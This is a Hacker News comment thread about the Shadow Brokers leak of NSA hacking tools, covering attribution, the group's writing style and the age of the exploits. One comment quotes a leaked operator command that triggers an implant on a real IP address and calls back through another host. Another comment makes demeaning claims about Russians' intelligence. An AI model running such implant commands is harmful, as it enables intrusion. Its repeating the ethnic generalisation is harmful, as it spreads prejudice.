
Snowden: NSA just lost control of its Top Secret arsenal of digital weapons - Yrlec
https://twitter.com/Snowden/status/850766326943690752
======
cyphunk
A good time to remember the official US Intelligence Community statement and
policy/lie on 0days, as given post-heartbleed:

    
    
        When Federal agencies discover a new vulnerability in commercial 
        and open source software – a so-called “Zero day” vulnerability
        because the developers of the vulnerable software have had zero days
        to fix it –  it is in the national interest to responsibly
        disclose the vulnerability rather than to hold it for an investigative
        or intelligence purpose.
    

[https://icontherecord.tumblr.com/post/82416436703/statement-...](https://icontherecord.tumblr.com/post/82416436703/statement-
on-bloomberg-news-story-that-nsa-knew)

[https://news.ycombinator.com/item?id=7575802](https://news.ycombinator.com/item?id=7575802)

~~~
PhasmaFelis
I've wondered how "zero day" mutated from its original meaning of "pirated
software cracked and released on the day of its commercial release" to "a
software vulnerability of which the software's maintainers are not yet aware".
There doesn't seem to be any connection aside from illicit cracking.

~~~
jaxn
Zero day has been used in this context for at least 15 years and means that
the vulnerability has been publicly known for zero days, or rather it is an
undisclosed vulnerability.

~~~
wyldfire
The nomenclature of pirated "zero day" cracked (or usually just copied)
software releases is at least twenty five years old, but likely older.

~~~
strictnein
Wish "1day" would somehow make a comeback. "0day" sounds cooler, of course,
but it was a lot easier to find 1day FTP warez sites in the wild than 0day
sites.

~~~
vidarh
Around the time of the end of my swapping of floppies back in the day, it was
getting frustrating as none of the "cool" swappers accepted anything but 0day,
and most would be annoyed if you couldn't regularly supply -7 to -14 day
releases so they had a week or two to spread things to their downstream
contacts before it'd be too stale. In other words a lot of them depended to a
large extent on internal leaks... I remember receiving the occasional C64 game
that was not even finished by the time it was spread.

~~~
PhasmaFelis
That's pretty hilarious that they were doing that even before widespread
internet. I think a lot of crackers got so caught up in building and
maintaining face in their tiny community that they forgot the actual reason
they were doing it, i.e. "people want to play video games without paying for
them".

~~~
vidarh
I think that to a lot of them, this was no different than a sports team or
similar - it was a competition, and the games were just a tool.

------
spydum
Why is everybody posting/curious about the language of the blog post and not
the contents of the file?

I've looked through some of the contents.. Some look incredibly old, but
others target odd things.. lots of cPanel. My only guess is take the low
hanging fruit to build "jump box" type systems?

Some odd examples: ElegantEagle/toffeehammer.. focuses on cgiecho for RCE. The
thing is, a CVE was just released for this case maybe a month ago?:
[http://www.cvedetails.com/cve/CVE-2017-5613/](http://www.cvedetails.com/cve/CVE-2017-5613/)

So if this dump was from 2013, why did the CVE recently pop up? Or is that
coincidence?

~~~
hnaparst
Many people may not be technically savvy enough to understand the contents of
the file, but everyone is interested in who the author is. In fact, these
exploits are rather old, but the identity of ShadowBrokers is fresh.

And the idea that you can figure out where someone is from by analyzing their
written text is as fascinating as doing the same to their code.

~~~
mozey
> the idea that you can figure out where someone is from by analyzing their
> written text

That idea is quite well known, so it's likely that the post was written like
that deliberately. I was just wondering if you could create a similar sounding
post with a chain of people rewriting the original in their own words.

------
sillysaurus3
It's pretty fascinating to read the Shadow Broker's posts. They have to write
something, since they can't just say "I work for Russia and we're reminding
America that they're not invulnerable." So they have to come up with all sorts
of contrived reasons about why they're doing this, complete with broken
english to fool stylometry detection that walks the fine line between being
believable and preposterous. Someone spent a lot of work getting it to look so
terrible.

~~~
throwaway71958
As a Russian myself, I can tell you with certainty that there are mistakes in
that text that a Russian ESL speaker would never make, and verb tenses are a
bit too good for an unskilled speaker. Due to the combination of these two
factors, I bet this was written by a native English speaker who thinks he/she
knows the mistakes a Russian would make. They're wrong.

~~~
doktrin
Just seems like general obfuscation to me. It would be very weird for anyone
to make assumptions about their identity based on broken english.

~~~
mootothemax
While I get your wider point, I find the different types of mistakes that
ESL'ers with different mother tongues make absolutely fascinating.

I've noticed, say, that in Poland, where the native tongue lacks articles,
people regularly mess up "the" and "a," or miss them altogether. I've never
met a French person with the same issue, for obvious reasons.

When I started looking into people's mistakes with tenses in English - dear
god, so much about my native tongue that I had no idea about, and yet made
particular nationality error combinations really stand out. It's crazy fun.

Edit: and I love my eldest's progress with English. While she's basically a
bilingual preschooler, she tends to speak English with polish word order: _I
like cars red_. Her natural instinct is to also use the polish rules for nouns
when choosing he/she/it. It's an absolutely fascinating process I feel
privileged to observe.

~~~
Pyxl101
> I like cars red

Interestingly, that word order is also valid English, though it has a slightly
different meaning than "I like red cars".

Example: "I like [my] soup warm".

"I like soup warm, but you can eat it cold and left over if you want."

"I like having soup warm"

"I like my cookies freshly baked"

"I like men muscular and toned"

"I like my women blonde, so you can go for the brunette"

"I like cars red" doesn't quite work as well but doesn't seem wrong. Add a
little context and it seems more normal. "As a buyer of many sports cars, I
like my cars red, even despite the speeding tickets I get".

Perhaps a linguist could explain how this phrasing works.

(That said, of course I advocate teaching her to speak fluently and to use
that word order only when she intends its subtlety of meaning.)

~~~
noobermin
I think it is a short hand slang for "I like cars painted red." or "I like
cars colored red."

~~~
FeepingCreature
I think it's short for "I like for cars to be red."

------
tenaciousJk
He goes on to further state:

"Quick review of the #ShadowBrokers leak of Top Secret NSA tools reveals it's
nowhere near the full library, but there's still so much here that NSA should
be able to instantly identify where this set came from and how they lost it.
If they can't, it's a scandal."

------
itchyjunk
Asking a president to do x,y or z by making this type of public statement
probably implies it's geared towards the immediate readers and not some leader
that might read it.

The security agencies might have made a lot of enemy over the years so it's
not clear who benefits from this. Either financially or as ego boost.

The internet is definitely bigger that what most people might have predicted
20 years ago. So its not really a big surprising to see as much or even more
power struggle than in real world battle fields.

Since every side has a propaganda to peddle, I, personally can draw no
reasonable or coherent conclusions on what type of decisions are shaping the
world I live in. But I am nonetheless curious to see how this all plays out in
the coming years.

There is a related post on HN about this. [0]

\---------------------------------

[0]
[https://news.ycombinator.com/item?id=14066596](https://news.ycombinator.com/item?id=14066596)

~~~
kbenson
The cynical and conspiracy theory believing person might suspect that
regardless of all the reasons stated for the release the last one, namely the
attack in Syria, is the only one that actually prompted this.

I don't necessarily subscribe to the whole "Russia is controlling everything"
line (there still so much that's unknown for sure), but it sure is easy to see
a connection between Trump launching missiles against Syria which is supported
by Russia, and with an embarrassing and costly release of secret information
belonging to the security apparatus in the U.S. by what many people say is a
front for the Russian security apparatus. Whether that connection is really
there is another thing, but that narrative sure is easy to follow.

~~~
suls
> [..] with an embarrassing and costly release of secret information belonging
> to the security apparatus in the U.S. by what many people say is a front for
> the Russian security apparatus.

I have difficulties interpreting your statement. Are you implying US security
services are "a front for the rudsian security apparatus"?

~~~
kbenson
No, I'm stating that some people have accused the shadow brokers and other
hackers that have released U.S. assets of actually being fronts for Russia.

------
iandanforth
Can someone remind me why Snowden would be in a position to comment on if this
release comprises a full or partial set of hacking tools? Specifically, does
this imply that his cache of data included a list of these tools, or was his
day to day job one such that he would have been normally in contact with this
toolset?

~~~
perlgeek
> Can someone remind me why Snowden would be in a position to comment on if
> this release comprises a full or partial set of hacking tools?

I wouldn't interpret that that tweet as "lost control of its _full_ arsenal".
It seems that say that, but then it's a tweet and length-limited. Maybe let's
just wait until a more nuanced analysis surfaces?

~~~
iandanforth
It's further down in the thread: "Quick review of the #ShadowBrokers leak of
Top Secret NSA tools reveals it's nowhere near the full library ..."

~~~
iandanforth
Replying to self because I just got around to watching the movie.

In his final days before the leak Snowden was part of the counter espionage
cyber division as an NSA contractor. He was actively hacking and preventing
hacks from China. These might not be part of the toolset he used, but its
reasonable to believe he would have been aware of them and had access to them.

~~~
willstrafach
I disagree with this. These tools appear to be for information collection, not
offensive cyber operations.

------
hl5
Obviously, Perl is the NSA top language choice due to it's built in support
for obfuscation and job security.

~~~
stonogo
Sure.

It couldn't be because perl is installed by default on all of the target
platforms. Practicality trumps conference talks when there's work to be done,
even in the government.

~~~
doktrin
I know it's not the HN norm, but I believe the parent was making a joke

~~~
H4CK3RM4N
A joke? On _my_ Hacker News?

------
akud
The content reads pretty clearly like a native English speaker imitating
immature hacker-speak. It comes across as if it were written by a script-
kiddy; that may be intentional.

~~~
bluecreator
NONE of you guys read poetry? This is a bend on "America", by Ginsberg. All
coding and no poetry makes Jack a dull boy. Read it.

~~~
Implicated
Care to elaborate on this? (No, I don't read poetry but I'm curious about the
connection)

~~~
pharrington
To elaborate: [https://www.poetryfoundation.org/poems-and-
poets/poems/detai...](https://www.poetryfoundation.org/poems-and-
poets/poems/detail/49305)

------
theocean154
Looking through some of the code and some of the docs, these look old. In
absence of a lot of time or some missing docs, not sure how usable these
things are.

~~~
tekkk
In the article pointed out by Snowden:
[https://www.nytimes.com/2016/08/17/us/shadow-brokers-leak-
ra...](https://www.nytimes.com/2016/08/17/us/shadow-brokers-leak-raises-
alarming-question-was-the-nsa-hacked.html) they state that the stolen code is
from 2013 and Snowden was quoted in Wikipedia saying "circumstantial evidence
and conventional wisdom indicates Russian responsibility".

To me it seems impossible that non-state-sponsored hackers would have gotten
their hands into top secret NSA hacking tools. If I'd have guess it would seem
that TheShadowBrokers are "useful idiots" that Russia gives information in the
way they did (probably) with Wikileaks. The real question is why would anyone
leak these files at this very moment? Did it take this long to get angry at
Trump or are there some others factors at play?

~~~
jacquesm
> To me it seems impossible that non-state-sponsored hackers would have gotten
> their hands into top secret NSA hacking tools.

About as impossible as the Snowden exfiltration, so that makes it entirely
believable.

All it takes is _one_ rogue employee or plant. And if you don't want to burn
an inside asset it would pay off to release files that are several years old.

~~~
waitwait
Releasing several year old files is signalling. "Next time it may include your
zero-days". Remember the previous threats?

> What this have do with fun Cyber Weapons Auction? We want make sure Wealthy
> Elite recognizes the danger cyber weapons, this message, our auction, poses
> to their wealth and control. Let us spell out for Elites. Your wealth and
> control depends on electronic data. You see what "Equation Group" can do.
> You see what cryptolockers and stuxnet can do. You see free files we give
> for free. You see attacks on banks and SWIFT in news. Maybe there is
> Equation Group version of cryptolocker+stuxnet for banks and financial
> systems? If Equation Group lose control of cyber weapons, who else lose or
> find cyber weapons? If electronic data go bye bye where leave Wealthy
> Elites? Maybe with dumb cattle? "Do you feel in charge?"

[https://web.archive.org/web/20160815152123/https://github.co...](https://web.archive.org/web/20160815152123/https://github.com/theshadowbrokers/EQGRP-
AUCTION)

------
r721
Nicholas Weaver‏: "Overall, though, it looks like the auction file from Shadow
Brokers is mostly a bust, better stuff in the free file."

[https://twitter.com/ncweaver/status/850797548717481984](https://twitter.com/ncweaver/status/850797548717481984)

the grugq: "Calling it now: the first ShadowBrokers dump was an expensive
signal. This latest one was not (expensive, that is.)"

[https://twitter.com/thegrugq/status/850825305845399552](https://twitter.com/thegrugq/status/850825305845399552)

~~~
joshschreuder
What does "expensive signal" mean in this context?

~~~
chowell
He expands in his Medium post from last year, here:
[https://medium.com/@thegrugq/the-great-cyber-game-
commentary...](https://medium.com/@thegrugq/the-great-cyber-game-
commentary-2-33c9b79ca8ac)

------
mcintyre1994
From the Medium post linked ([https://medium.com/@shadowbrokerss/dont-forget-
your-base-867...](https://medium.com/@shadowbrokerss/dont-forget-your-
base-867d304a94b1))

\- Don’t care if you swapped wives with Mr Putin, double down on it, “Putin is
not just my firend he is my BFF”.

\- Don’t care if the election was hacked or rigged, celebrate it “so what if I
did, what are you going to do about it”.

This has got to be a fake group trying to discredit Trump right? I don't like
him or what he's doing, but surely surely his supporters don't subscribe to at
least the latter view there?

~~~
doktrin
> surely surely his supporters don't subscribe to at least the latter view
> there?

You must not have very many conservative friends on Facebook. "Russia didn't
write the emails" has to be one of the most popular memes of the last 6
months.

~~~
RodericDay
How is that a "meme"?

I don't know any conservatives but every single leftist I know thinks that
russophobia is at absolutely deranged levels, as a vehicle for Clinton
apologism.

The idea that "Russia decided the election" is absurd, but repeated often
enough, is starting to be taken as truth by those who find it palatable.

~~~
xenadu02
If Hillary Clinton didn't have such high unfavorables it wouldn't have been a
contest. If Bernie hadn't siphoned off some of her support it wouldn't have
been a contest. Russian meddling and Comey's last-minute maneuver definitely
cost her the election, but only by swinging the vote less than 1% in a few key
states.

I don't think Putin seriously believes he can control US elections and
probably recognizes this as a one-off lucky break.

The whole point for him is the PR value: having Trump claim elections are
rigged is pure PR gold for Putin. Having Trump claim protesters are paid
Democratic shills (rather than real people who don't like him) is Putin cover.
He gets to point at those words and say "see, it's the same everywhere". It
gives Putin supporters cover to believe his lies and it takes the wind out of
the sails of Putin's detractors.

My guess is Putin's original plan was to take advantage of Trump claiming he
_lost_ due to election rigging but we'll probably never know.

~~~
3131s
> _If Hillary Clinton didn 't have such high unfavorables it wouldn't have
> been a contest. If Bernie hadn't siphoned off some of her support it
> wouldn't have been a contest._

How about if Hillary simply picked Bernie as VP? Is there anyone here that
thinks she wouldn't have won on that decision alone? Don't blame Bernie
supporters (I am not one, to be clear), why should they walk a mile to
Clinton's positions when Clinton herself won't even make the most modest
concessions to their side?

~~~
Consultant32452
Hillary was pro-war, only half-ass wanted a minimum wage hike, pro free trade
agreements, pro fracking, and said Single Payer was never happening. I
honestly don't understand why any liberal would have voted for her.

~~~
3131s
Right, I would have never voted for her, and not saying that she would have
been any better with Sanders, but I think it's very likely she would have won.

------
tyingq
More context:
[https://en.m.wikipedia.org/wiki/The_Shadow_Brokers](https://en.m.wikipedia.org/wiki/The_Shadow_Brokers)

~~~
Nicksil
Non-mobile:
[https://en.wikipedia.org/wiki/The_Shadow_Brokers](https://en.wikipedia.org/wiki/The_Shadow_Brokers)

------
codezero
A lot of the scripts appear to have been written by the same person, or is
that just me reading into it? They have a distinct comment style in both
Python and Perl.

Also, a lot of the tools appear to instruct people to paste various things in
to them. I find it unlikely that a single person wrote all the tooling for the
NSA, but, who knows.

~~~
alkonaut
I noticed the same thing. And it's very informal, which surprised me. Would
have expected this kind of documentation to be pretty dry.

------
strictnein
> "NSA just lost control of its Top Secret arsenal of digital weapons"

This is just inaccurate, or at least purposefully misleading. The NSA did not
just lose control of its "Top Secret arsenal of digital weapons".

They "lost control" of mainly a bunch of old exploits whose release will not
matter because anyone who is running this old junk won't be updating their
servers because of this news.

------
fixxer
I don't know anything about the value of this crap, but I do find it
interesting to grep through looking at the IPs (which I presume are
compromised machines from which they are initiating attacks). See
`./bin/pyside/targets.py`

~~~
toufka
202.38.128.1 - [http://ihep.ac.cn/](http://ihep.ac.cn/) \- Chinese Academy of
Sciences High Energy Physics

211.40.103.194 - [http://utc21.co.kr](http://utc21.co.kr) \- Korea

from:
[https://github.com/x0rz/EQGRP/blob/master/Linux/etc/opscript...](https://github.com/x0rz/EQGRP/blob/master/Linux/etc/opscript.txt#L728)

#### JACKLADDER - triggering IN thru JACKPOP on Linux (FAINTSPIRIT) ####

### Local window, let this sit and wait: ourtn -T 202.38.128.1 -n -I -ue -O
113 -p 443 -C 211.40.103.194 127.0.0.1

### on PITCH: set up window for nopen callback -nrtun 113

------
remarkEon
I haven't read enough broken English to take a gander at what the native
language is for the authors of that...manifesto. Anyone have a good guess?
There's some pretty common mistakes throughout ("peoples" for people,
"Americans' having" for "Americans have").

~~~
corndoge
Most likely an American trying to write in an Eastern European accent.

~~~
tomjakubowski
Yeah, it's so over the top that it reads like a native English speaker's
intentional obfuscation.

~~~
tyingq
I immediately thought of the "Opulence, I has it" commercials from DirecTV.

------
Animats
This stuff looks old. There are versions for Solaris and SCO Unix.

~~~
aiham
> $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");

[https://github.com/x0rz/EQGRP/blob/master/Linux/bin/xp_phpbb...](https://github.com/x0rz/EQGRP/blob/master/Linux/bin/xp_phpbb.pl#L62)

~~~
cyberpunk
There is at least one very large bank (which I won't name) who is unable to
move off ie6 for some internal apps which to my knowledge are still using this
in some backoffices even today.... At least two years ago they were paying
Microsoft less money than a rewrite would cost to support it so it kind of
makes sense....

I only found that bad boy out after disabling some ciphers on some loadies
which broke a lot of their stuff....

------
jasonhansel
I wonder what this is for:
[https://github.com/x0rz/EQGRP/blob/master/Linux/bin/strangeF...](https://github.com/x0rz/EQGRP/blob/master/Linux/bin/strangeFiles.py)

It looks like it's searching for files/directories with unusual names (like ".
") that system administrators wouldn't normally notice.

~~~
geusebi
I remember (probably around 10 years ago) of a compromised server with a
couple of strange files ". " and ".. ". After looking into it I realized that
they were a ftp server and a process name changer. I would say your guess is
correct, this script is probably used to spot weird file names which would
pass unnoticed with a simple "ls".

------
znfi
I have a bit of a hard time understanding why so many people think this is
written by Russians. Obviously the grammar is not correct, but it would seem
very strange to think this has any significance, and it seems more plausible
that it was done in an attempt to hide the authors identity. (My spontaneous
feeling was that it was written by Jar Jar Binks, and not Russians, for
whatever that's worth.)

I'm not from the US and have not followed the news from there recently, but
from what little I have seen much of the actual contents of the message does
seem to reflect the feelings of Trumps "base"? Or would people more familiar
with US politics say this is incorrect?

------
jorblumesea
Is there any doubt the Shadow Brokers are Russian and working for Russian
interests? The timing of releases, international events concerning both
countries and pointed measures are far too suspicious to be considered
circumstantial.

~~~
mirimir
Sure, but that's what someone would do if they were trying to implicate
Russians.

~~~
trendia
Maybe they knew we'd think it odd for Russians to speak with a Russian accent
so they did it anyway to trick us.

"Are you the sort of man who would put the poison in his own goblet? Now a
clever man would put the poison into my goblet, because he would know that
only a fool would drink the goblet given to him. I am not a fool, so clearly
you wouldn't do that. But you must have known that I was not a great fool, so
I mustn't drink from the wine in front of me!" [0]

[0]
[https://www.youtube.com/watch?v=U_eZmEiyTo0#t=1m20s](https://www.youtube.com/watch?v=U_eZmEiyTo0#t=1m20s)

~~~
mirimir
Yeah, pretty much. Except no poison drinking was involved here. Unless it was
the NSA that did it. And of course, this was all old stuff, so it wasn't
really very poisonous.

But really, really, really. There's just no way to know.

~~~
zzzcpan
Who else, besides Russia, plays these spy games with the US?

~~~
mirimir
North Korea, China and Israel come to mind. Also many independents. And the US
probably plays with itself.

------
eps
Likely a response to the Syrian airbase tomahawking from a couple of days ago?

Russians are known for what they themselves call "asymetrical answers", so
this seems to fit the pattern.

~~~
noobermin
Honestly though, how does leaking tools from the NSA whom Trump was suspicious
of just a few weeks ago constitute an attack against him?

------
0x38B
Like others are saying, there's a mismatch between the overall sentence
structure and progression - which strikes me as more native - and the
mistakes. I don't buy the verb misconjugation especially, a Russian ESL
learner at that level would get that right more often than not.

Source: many conversations with Russians learning English (also near-native
Russian)

------
i336_
Excuse me while I just...

ALLL RIIIIGHT!!

Not because I'm especially interested in the tools (although, granted, I have
not had a look at any of them yet), but because I always wished this could be
given to everyone.

Also, for a moment there, I was concerned 7z was insecure and that the
passphrase had been bruteforced. Apparently not! Very nice.

------
hl5
Regardless of the source, full disclosure works. Whomever is responsible for
releasing this material is also improving computer security for _everyone_.
Thank you.

------
zengid
All of this spy vs spy intrigue makes my head hurt

------
mavdi
Given the latest world events, I've personally come to realise that security
agencies play an important role in keeping us safe, from external entities or
from ourselves.

This is disaster in my (current) opinion. We tend to dismiss the work the
likes of NSA do, not thinking much about what would happen if they didn't do
it. Snowden categorically dismissing anything that NSA does, just means he's a
deluded idealist, much like I used to be.

~~~
apeace
> Snowden categorically dismissing anything that NSA does

That's not representative of Snowden's opinion at all. From the beginning he's
always stated he believes in the mission of the intelligence agencies. Heck,
he used to work for one.

"I am not trying to bring down the NSA, I am working to improve the NSA" [0]

[0] [https://www.washingtonpost.com/world/national-
security/edwar...](https://www.washingtonpost.com/world/national-
security/edward-snowden-after-months-of-nsa-revelations-says-his-missions-
accomplished/2013/12/23/49fc36de-6c1c-11e3-a523-fe73f0ff6b8d_story.html)

------
shitgoose
shadowbrokerss remind me of this guy:

[https://www.youtube.com/user/FPSRussia](https://www.youtube.com/user/FPSRussia)

100% American from Georgia, sometimes loses Russian accent and slips into
perfect English:)

------
Harken
"We voted for you, comrade. Here is old malware from deepnet kiddy porn site
post for to confuse."

Could be Russia pissed about puppet twitching without permission, or could be
Bannon (via Cambridge Analytics?) pissed about puppet twitching without
permission.

Twitch, puppet, twitch!

~~~
daodedickinson
If it's twitching without permission, it's not a puppet.

------
theocean154
ElegantEagle. nice

~~~
cyberpunk
No code though?

------
elastic_church
ShadowBroker's blog posts always crack me up

~~~
tertius
[http://pan.webis.de/clef17/pan17-web/author-
obfuscation.html](http://pan.webis.de/clef17/pan17-web/author-
obfuscation.html)

~~~
elastic_church
Yes, I'm aware, or, I speculate that ShadowBrokers are utilizing this to
unduly burden Eastern Europeans, Russians and Chinese hackers

but really, asymmetric information is asymmetric. We just don't know.

But now we can speculate that they are American citizens, with their mention
of voting for the US President.

~~~
foepys
They could also just lie to gain support from impressionable readers and/or
disgruntled Trump voters.

------
oculusthrift
remember that 1000s of paid russians were used to interrupt our election on
sites like reddit. wouldn't be surprised if a few leaked to this site.
especially with green accounts.

~~~
coldtea
> _remember that 1000s of paid russians were used to interrupt our election on
> sites like reddit._

Or so a 2017 version of the "red scare" goes, so that the military industrial
complex can sell more weapons and more "safety", and the fingers can keep
being pointed at some enemy or another. That way their budgets get approved,
some poor countries pay the toll (who cares anyway), and they might even be
able to plunder them afterwards. Worked wonders the last 30+ years.

Not to mention that the US sponsors tons of NGOs, magazines, organizations,
events, political parties, etc, with favorable views to its interest all over
the world, and has done that none stop since at least WWII, meddling with
elections, paying journalists, etc -- and when nothing else works.

~~~
oculusthrift
ahhh..... whataboutism[0]. classic russian tactic.

[https://en.wikipedia.org/wiki/Whataboutism](https://en.wikipedia.org/wiki/Whataboutism)

~~~
coldtea
Confirmation bias: classical lalala-hands-in-the-ears-denial tactic. Also, not
a Russian. Tinfoil much? Besides I'm not the one who opened an account here a
mere few months ago. I'm a regular on HN for 5+ years.

Now, regarding the accusation of "whataboutism", I found that it's the
stupidest of knee-jerk responses. It makes looking at all sides look like some
kind of error.

"Yeah, my side can kill, invade, meddle with others, bully, strong-arm, etc as
it sees fit. But if your side does 1/10th of those things even when its
justified, or even if I just accuse you falsely of doing them and you dare to
point out that it's actually my side doing those things and worse, then I call
out your whataboutism".

Instead of putting things into perspective, examining their history, the
causes, the role of different players, people point the finger to a single
direction (seldom to their own side's and rarely to the biggest offender), and
when called out on it and get reminded of the greater state of affairs they go
"oh, that's whataboutism".

------
lngnmn
Looks like bullshit. It does not match the vault7 leak, which is supposed to
be from the very same NSA.

It is Russians. The classic example of Dunning Kruger effect. In a generally
low IQ environment and primitive criminalized cultural environment they truly
believe that what is enough to fool everyone around them, including the bosses
(who are supposed to be really smart), will surely fool everyone else.

This is the phenomenon of negative selection of a cancer-like corrupted
society (which ran for a three decades already) at work. They are literally
decades behind of the technological progress and culture of the modern
civilization.

They simply have no idea of what possible level of intelligence and
sophistication could be found in places with decades of consistent high-IQ-
based selection, like companies staffed with top 5% of
MIT/Standford/Caltech/Berkeley graduates and what this kind of organization
could do (think of Apple, Google, etc).

A high-tech US govt agency would never had such a crap in their folders. They
are not a bunch of disconnected from reality, overconfident, self-deluded with
their own primitive propaganda Russian punks.

